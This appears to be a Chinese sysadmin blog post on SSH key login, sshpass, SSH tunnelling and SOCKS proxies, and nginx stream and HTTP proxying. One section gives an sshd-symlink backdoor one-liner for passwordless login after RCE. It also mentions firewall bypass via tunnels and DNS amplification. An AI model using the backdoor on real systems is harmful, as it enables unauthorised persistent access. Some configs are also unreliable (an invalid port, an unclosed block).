sshd 端口转发和nginx 4层代理 + 协议转发
ssh 密码登录 密钥登录 免密登录
免密登录
在客户端使用ssh-keygen生成一对密钥:公钥+私钥
# ssh-keygen -t rsa 将会生成密钥文件和私钥文件 id_rsa,id_rsa.pub或id_dsa,id_dsa.pub
将客户端公钥追加到服务端的authorized_key文件中,完成公钥认证操作
# cat id_dsa.pub >> ~/.ssh/authorized_keys
# 设置.ssh目录权限
# chmod 700 -R .ssh
# 设置authorized_keys权限
# chmod 600 authorized_keys
# 公钥 644 私钥 600
# 要保证.ssh和authorized_keys都只有用户自己有写权限
# 简单点 使用ssh-copy-id命令 可以把本地主机的公钥复制到远程主机的authorized_keys文件上
# ssh-copy-id命令也会给远程主机的用户主目录(home)和~/.ssh, 和~/.ssh/authorized_keys设置合适的权限。
认证完成后,客户端向服务端发起登录请求,并传递公钥到服务端
服务端检索authorized_key文件,确认该公钥是否存在
如果存在该公钥,则生成随机数R,并用公钥来进行加密,生成公钥加密字符串pubKey(R)
将公钥加密字符串传递给客户端
客户端使用私钥解密公钥加密字符串,得到R
服务端和客户端通信时会产生一个会话ID(sessionKey),用MD5对R和SessionKey进行加密,生成摘要(即MD5加密字符串)
客户端将生成的MD5加密字符串传给服务端
服务端同样生成MD5(R,SessionKey)加密字符串
如果客户端传来的加密字符串等于服务端自身生成的加密字符串,则认证成功
此时不用输入密码,即完成建连,可以开始远程执行shell命令了
ssh root@223.5.5.5 "uname -r && lsb_release -a"
-t 强制分配终端
ssh -t root@223.5.5.5 "uname -r && lsb_release -a"
将密码作为参数提供
sshpass -p 123456 ssh root@192.168.1.30 "uname -a"
从文本文件中读取密码
echo "123456" > mypassword.txt
sshpass -f mypassword.txt ssh root@192.168.1.30 uname -a
sshpass -f mypasswd.txt ssh -o StrictHostKeyChecking=no root@223.5.5.5 "vmstat 30"
ssh -o 'StrictHostKeyChecking=no' 'root@172.16.0.165'
ssh 的shell 反弹
shell 任意用户密码登录 或者 无密码登录 使用 rce 任意文件获取 均可使用
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=9999
ssh 正向 反向 socket 代理
nohup ssh -o StrictHostKeyChecking=no -C -f -g -b 0.0.0.0 -L 3306:8.8.8.8:3306 root@8.8.4.4 "vmstat 30" &
信息:
公司主机 100.1
腾讯云 200.1
目标电脑 300.1
1、公司网络有防火墙 不能直接访问到 目标电脑300.1
2、腾讯云电脑200.1 可以访问目标电脑300.1
3、公司主机 100.1 访问腾讯云电脑200.1 ,相当于直接访问目标电脑300.1
参数
-N 告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发 ,一般不用
-C 进行数据压缩
-f 告诉SSH客户端在后台运行
-g 是允许远端主机连接本地转发端口
-b 0.0.0.0 同时还需要打开SSH服务器端的一个选项-GatewayPorts
保持长时间连接 去掉-N参数,加入一个定期能产生输出的命令。 vmstat 30
nohub & 后台运行
GatewayPorts yes 开启
-R 表明是将远端主机端口映射到本地端口 ,一般做内网穿透使用
-L 将本地端口映射到远端主机端口。,一般做正向代理使用 数据中转
-D
注意 执行端口转发的命令时,是以当前的机器作为参照物
本地隧道 -L 转发到远端
ssh -C -f -g -b 0.0.0.0 -L 远端端口:目标IP:目标端口 root@自己中转机器 "vmstat 30 >/dev/null 2>&1"
把自己的端口 转发到远端 ,在自己的机器上执行
远程隧道 -R 转发到本地
ssh -C -f -g -b 0.0.0.0 -R 远端端口:本机ip:22 root@远端ip "vmstat 30 >/dev/null 2>&1"
把人家的端口 给自己,在人家的机器上执行
Socks代理
ssh -N -f -D 8888 root@自己中转机器
端口转发 和4层代理
egrep -v "#|^$" nginx.conf.default >nginx.conf
4层代理 代理的tcp或者udp协议
# nginx -V确保nginx安装了–with -stream如果没有,重新用yum install nginx -y安装
# 安装 yum -y install epel-release
# yum install nginx-mod-stream -y
# yum -y install nginx-all-modules.noarch
# vi nginx.conf顶部加一行
# load_module /usr/lib64/nginx/modules/ngx_stream_module.so;
# 配置文件中,stream与http在同一级别:
load_module /usr/lib64/nginx/modules/ngx_stream_module.so;
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
stream {
upstream ssh {
server 172.16.5.112:22;
# 默认算法分流 hash ip 轮询
}
server {
listen 22222;
proxy_connect_timeout 1h;
proxy_timeout 1h;
proxy_pass ssh;
# ssh
}
upstream http {
server 172.16.5.112:80;
# 默认算法分流 hash ip 轮询
}
server {
listen 80888;
# 不仅是tcp 还是可以udp,dns的放大攻击中 可以使用到
# listen 990 udp;
proxy_connect_timeout 1h;
proxy_timeout 1h;
proxy_pass http;
# http
}
}
# ---------------- 也可以 单一服务 多个服务
stream {
server {
listen 22888;
proxy_pass 127.0.0.1:22;
server {
listen 301;
proxy_pass 8.8.4.4:53;
}
在两个模块中,两个`proxy_pass`都是用来做后端代理的指令。
ngx_stream_proxy_module模块的proxy_pass指令只能在server段使用使用,
只需要提供域名或ip地址和端口。可以理解为端口转发,可以是tcp端口,也可以是udp端口
ngx_http_proxy_module模块的proxy_pass指令需要在location段,location中的if段,limit_except段中使用,
处理需要提供域名或ip地址和端口外,还需要提供协议,如"http"或"https",还有一个可选的uri可以配置。
http 协议转发
server{
listen 80;
server_name 8.8.8.8;
index index.php index.html index.htm;
location / {
proxy_pass http://127.0.0.1:8080; # 转发规则
proxy_set_header Host $proxy_host; # 修改转发请求头,让8080端口的应用可以受到真实的请求 获取客户端ip
proxy_set_header X-Real-IP $remote_addr; # nginx使用$remote_addr变量时获得的是用户的真实ip
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# $proxy_add_x_forwarded_for 变量包含客户端请求头中的 X-Forwarded-For 与 $remote_addr 两部分,也可以获取到用户真实的IP
}
}
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $proxy_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
浙公网安备 33010602011771号